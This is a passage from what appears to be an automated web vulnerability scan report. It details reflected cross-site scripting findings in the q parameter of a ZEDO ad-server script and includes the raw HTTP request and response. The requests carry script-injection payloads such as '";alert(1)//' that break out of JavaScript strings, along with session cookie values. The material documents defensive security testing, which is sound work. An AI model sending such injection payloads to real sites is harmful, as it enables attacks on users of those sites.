Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=1;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "82a0ef50-838c-4a12afe0ff680"
Vary: Accept-Encoding
X-Varnish: 1634234217 1634232398
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=48
Expires: Sun, 24 Apr 2011 16:01:25 GMT
Date: Sun, 24 Apr 2011 16:00:37 GMT
Connection: close
Content-Length: 2429

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat='9ad87';alert(1)//84f498407fc';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=9ad87';alert(1)//84f498407fc;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd
...[SNIP]...

6.114. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d50f2"%3balert(1)//e6acc4c239 was submitted in the q parameter. This input was echoed as d50f2";alert(1)//e6acc4c239 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bar/v16-405/d2/jsc/fm.js?c=286&a=0&f=&n=929&r=13&d=14&q=d50f2"%3balert(1)//e6acc4c239&$=&s=123&z=0.06824745330959558 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; FFgeo=2241452; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; FFChanCap=1573B496,121#876543#543485#675101#544906#543481|1,1,1:0,1,1:14,1,1:0,1,1:0,1,1; ZCBC=1; FFad=0; FFcat=929,286,14

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=1;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=929,286,14;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "82a0ef50-838c-4a12afe0ff680"
Vary: Accept-Encoding
X-Varnish: 1634234217 1634232398
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=48
Expires: Sun, 24 Apr 2011 16:01:25 GMT
Date: Sun, 24 Apr 2011 16:00:37 GMT
Connection: close
Content-Length: 2436

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=123;var zzPat='d50f2";alert(1)//e6acc4c239';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=d50f2";alert(1)//e6acc4c239;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

var zzStr = "s=123;u=5ajh4goBADQAAFjiiCYAAABN~042311;z=" + M
...[SNIP]...

6.115. http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d2/jsc/fm.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quo